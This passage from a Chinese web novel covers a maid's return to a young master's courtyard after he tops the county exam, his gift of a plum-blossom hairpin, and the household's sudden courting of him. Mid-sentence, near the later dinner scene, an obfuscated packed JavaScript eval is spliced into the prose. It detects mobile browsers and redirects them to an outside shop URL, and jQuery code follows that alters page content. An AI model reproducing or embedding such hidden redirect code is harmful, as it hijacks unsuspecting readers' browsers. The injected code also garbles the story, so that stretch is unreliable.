她一回头，却见月光从门缝斜斜切进来，照出个身着素白孝服的身影。 谢垚跨了门槛进来，似是没想到这个时辰这个地方还有人，他目光落到桌上的软垫又转回她的身上：“吓着你了？” 他不等连珠回答，又自顾自地道：“我要走了，来这儿只是看看。” 他说得淡淡，但分明藏着点眷恋。 秦如月在此处停灵，在此处发丧，他该是不舍的。 连珠隔了几丈的距离偷瞧他神色落寞，想走不能走，却也不敢开口，生怕惊扰了他。 也不知是夜色寂寥，还是连日找不到一个可以说话的人，谢垚远远看着那个丫头，涌出些交谈的念头。 “是回京城。” 屋里静了一阵，连珠才反应过来，他这是在同自己说话。 溪青前日来找她时就说起，二老爷提前归京，不日二少爷也要带着二小姐行水路回去。那丫头和连珠相处出了感情，想到一别不知何时才能相见，还趴在她肩头哭了一回。 这下听谢垚说要回京，连珠也忆起赠药之恩，福了福身，规矩道：“山高水长，二少爷一路珍重。” 珍重...两个字在谢垚舌尖滚了一遭。 一向年光有限身，等闲离别易销魂。 他低头微叹，有些道理总是亲身体会后才真正感悟。 再抬头的时候，谢垚忽而想起这丫头送来的那碟豆蓉糕，又记得自己在窗帷后看见他们一对少年男女隔着窗洞说话。 情真意切，叫人动容。 他喃喃自语，不知是说给连珠，还是说给自己：“聚散无常，不如怜取眼前人。” 黑暗里擦亮一点烛火，连珠坐在炕上，仍想着方才谢垚离开前的话。 她丧夫丧子，如何能不触动。 可惜，她的眼前人早就不在了。 晨光漫过东墙，连珠做了一夜的梦，睡得并不安稳。 早早醒了洗漱好，挽了袖子洒扫院中落叶。 竹帚才把叶子拢起一堆，院门就被推开，青石门槛外谢培气喘吁吁。靛蓝直裰的下摆被露水打湿了半幅，鞋面上沾着泥星子，他望着连珠笑，笑得那样灿烂，笑得连冬风都暖了。 他朝连珠伸手，愉快像是炉火上蹦开的一粒炒豆，在他心里噼里啪啦地跳。 他说：“连珠，我来接你回去。” 15. 风水轮流转 谢培昨儿傍晚就得了喜讯，县试中他直接得了魁首。 如无重大事故，无须再一路考至院考，就能照例进学。 他得了这样的好消息，第一时间就想和连珠分享。 可思及她孤零零一个仍在静修斋，又想借着自己中了县案首的喜讯，让父亲同意连珠回清月阁。 只是谢渊当夜在外应酬，左等不来，右等不来，掌灯时分才见他酒醉归府，已是不省人事。 谢培无法，只能等到次日。 天方大亮，谢渊身边跟着的管事来金差人到清月阁请谢培。说是大老爷一早得知谢培考中，喜不自胜，要亲自见他。 书房内，谢渊一见谢培立时起身，脸上竟是许久未见的温和笑意，他连声夸赞，又反复劝勉，恨不能他下场府试，能再拿回来一个案首。 发榜前后不过一日，谢渊态度转变如此之大，叫谢培心中倍感凄凉。 他恨暮香堂的不假，可焉知袁英华作恶没有谢渊纵容的缘故。 不过，他今日有所求，对谢渊所言恪遵教诲。如此唯命是从，叫谢渊深感满意，抚了胡须连赞他不坠家声。 谢培见他心情极好，顺势提了连珠之事，被他顺口应下。 “从前我人微言轻，在爹面前也说不上话，但现在不一样了。”谢培站到连珠跟前，凝视她一双眼眸，“我说过会接你回去的。” “是，三少爷说过自然会做到。”连珠被他的笑意感染，原本觉得回不回清月阁没什么要紧，现下却觉得有人惦念，心中也有几分喜悦。 连珠理了包袱，见谢培还等在院里。 谢培知她要问什么，赶紧道：“这两日不必去家塾，我跟你一同回去。” “好。”连珠说着就跟着谢培身后。 谁知，谢培并不迈步，反而转身盯着她，慢慢从袖口里拿出支簪子。 那簪子通体白玉，只簪头上镶了碧玺雕的梅花。碧玺粉粉嫩嫩，比夏日冰雪冷元子里放的冰块还要清透。 他拿着那簪子，视线又落到连珠的鬓边，并不敢看她的眼睛：“这个给你。” 簪子是他去铺里特意挑的，那碧玺色如桃花，一见就让他想到连珠挑灯磨墨，烛火映粉腮。 只是连珠许久不接，让他心里打鼓：“你不喜欢？” 连珠看着那支精巧的簪子，心下确实迟疑。可抬眼时，正撞见谢培紧抿成线的唇和眼里小心翼翼的期待，拒绝的话就怎么也说不出口。 “少爷费心了。” 让连珠守在静修斋两个月，谢培心中愧疚，这簪子本就是为了赔礼买的，他生怕她不喜，是勉强收的。 “你是不是不喜欢，要是不喜欢，我再去买...” “不是，我也喜欢梅花的。”连珠赶紧按捺住他的话头，“哪就这么破费了，还要再去买。再说，又不是逢年过节，我又无甚功劳，不必送这个。” “谁说你没功劳。”谢培反驳，“你做的书包，我用着正好。” 不过一个书包，在谢培口中好像成了了不得的事。连珠抿嘴笑道：“好，那我就承三少爷的情。” 她伸手去接，没想到谢培却忽地将手往回一收。再看去，他已向前半步，指尖拈着那支梅花簪，轻声说：“我替你簪上。” 廊下风静，他袖口拂过连珠额发，那双执笔的手难得笨拙。 银簪的尖儿轻轻划过她耳后的皮肤，激起一阵细微的战栗。而后，那簪子插进她的发髻，叫她头顶沉了两分。 谢培退后半步瞧着，几乎要灼热眼睛。 “好看。” 他不知在说簪子，还是在说人。 连珠再回清月阁，兰儿自是高兴，青芝早知有这一天，心中也无甚波澜。只有白芍心中不忿，一眼瞧见连珠头上的梅花簪，更是大为妒忌。 只是她回清月阁前，才被娘亲敲打过，要小心行事。又逢三少爷中了案首，更加不敢放肆，只好将胸中对连珠的一口气压了下来。 “你回来就好了。”兰儿拉着连珠的手絮絮叨叨，“你一走，我连个说话的人都没有。” 她帮着连珠收拾完床铺，便又说起三少爷的喜事。 “三少爷前脚一出门，大老爷的东西就送来了。”兰儿掰着指头，“笔墨纸砚，送了一大堆，白芍说都是好东西。” 穷在闹市无人问,富在深山有远亲。谢培不过十四就得了县案首，可以说是前途无量。 府里这一辈只三个男丁，大少爷年纪大了性情早定，怕是没什么大出息。二少爷虽才情出众，可远在京城。算来算去，怕不是从前无人问津的三少爷，成了谢家下人值得押注的好苗子。 风吹草动，一整个上午来清月阁的人，比之前一年都要多。 先是平日连炭火都克扣三分的丫鬟素梅，忽然将拖欠的用度补齐了，还额外添了两筐银霜炭。再来花房的婆子也殷勤起来，挑了四五盆开得最好的春兰送了过来。 真真是风水轮流转，总算转到了他们院里。 暮香堂的礼是午后来的。 喜和嬷嬷领着四个丫鬟捧着朱漆托盘，笑着来贺：“大夫人听说三少爷中了案首，欢喜得什么似的，特意让开了库房，拣选了些合用的。” 两匹杭绸，四方刻印的青田石，另有一苏绣文房小插屏。 东西样样精细。 谢培恭敬谢过，又回了话说明朝请安亲自去谢。 待人走了，屋中只余连珠一人，他才瞬间冷下脸色。看也不看那矮几上放的好物，让连珠尽数收进库里。 “一样都不留吗？”连珠见他不快，却还是提点。 她到底是存了善念，对这肖似谦哥儿的孩子总是狠不下心来不管。 谢培闻言一滞，想起才回来不久的白芍，心中堵得厉害，随手一指那个插屏：“就把它放书案上。” 也好，他就这样日日看着，也可日日警醒自己。 日光弹指过，春雨绵绵，院里的枝头都冒了绿意，二房的人走了也有半个多月。 四月府试在即，谢渊发下话来，清月阁一应事务都得为着谢培的考试让路。 大厨房一日三餐送来的菜色也是精细考究起来。 晨起的素粥换了七宝碧粳米粥，配着四样小菜也按着谢培的口味 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092449|195488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来做。午膳和晚膳更不必说，两荤两素一汤一饭一点心，另外新鲜果子、酱脯、糕饼应有尽有。 这些东西，谢培一人哪里吃得完。 他让连珠挑了喜欢的，剩下的又赏给白芍几人。 连日吃喝下来，兰儿每每在床上躺下，都要捏着腰上厚了三寸的肥肉哀叫。只是第二日见了好菜好饭，又忍不住多吃两碗，如此循环往复，眨眼就到了府试开考前夜。 兰儿提前拿了到大厨房拿了饭菜，连珠在桌上起了锅子。 今日说是有平江那边新鲜来的鲥鱼。 这季节鲥鱼难得，送来府里，谢渊特意交代，要给谢培留上一份。 清炖鲥鱼上桌之后，仍小火炖着。内里鲥鱼只取中段最肥美的部分，鱼皮下小火煮得晶亮。火腿干贝吊了整夜的高汤，佐以清嫩的水磨豆腐，闻来一股清香。 谢培看了一下午的文章，也觉得腹中饥饿。过来瞧见桌上的菜色，开口就叫连珠同他一起用饭。 相处这么些时日，他也渐渐摸出连珠的喜好。知她喜清淡、喜河鲜，这清炖鲥鱼，应该是合了她的口味。 连珠摇头，只是站在桌边给谢培添饭夹菜。 倒也不是第一次了，每每有桌上有连珠爱吃的，谢培总要问上一回，也都要被拒绝一回。 他知道连珠是真心待他，可也确实从不逾矩半步。她不过比自己大了两岁，该是爱玩乐的年纪，却好像没什么消遣，不买胭脂也不翻花绳，好像在廊下绣花就是她偷闲的时光了。 要让他来说，他是盼着连珠能同他玩笑亲近的。 可他又实在不能指摘什么，她是那样一个人，谢府的规矩又重，更何况院里还有暮香堂的眼线。 连珠不肯坐下，那鲜美的鲥鱼吃到嘴里也没了胃口。 “怎么？大厨房做得不好？” 连珠心道，明明闻着味道还挺香的。 谢培不答，连珠又猜：“莫不是明日要入考场，紧张了？” 虽说谢培是案首不必再考府试，可谢渊仍叫他下场，望他再拿个案首。 连珠设身处地，便觉得他小小年纪身负压力，定然紧张了。 谢培没说是也没说不是，只道：“我要紧张了，该怎么办好？” 连珠闻言，当真思忖起来：“明儿得把那薄荷脑油带上，要是紧张了就深吸一口气，使劲嗅一回。还有参片，也得带上，你一坐就是一日，含在舌下定不会头晕眼花...” 她说着尤嫌不够，要再想个法子让他放平常心，就见谢培正瞧着自己，唇角微扬，那笑意明晃晃的，哪有半分紧张模样。 她霎时明白过来，耳根一热：“好啊，三少爷作弄我。” 谢培怕她恼了，赶紧拉住她的袖子，晃了两晃：“不作弄你。我是当真...” 他顿了顿，深吸一口气：“我是当真要考上的。连珠，你信我。” 窗外树影沙沙，房里静得只听见砂锅里的翻腾声。 连珠的袖子从他指尖逃脱，让他心里一空。可下一秒，他听见她的声音，胸中又满了起来。 “我自然信你。”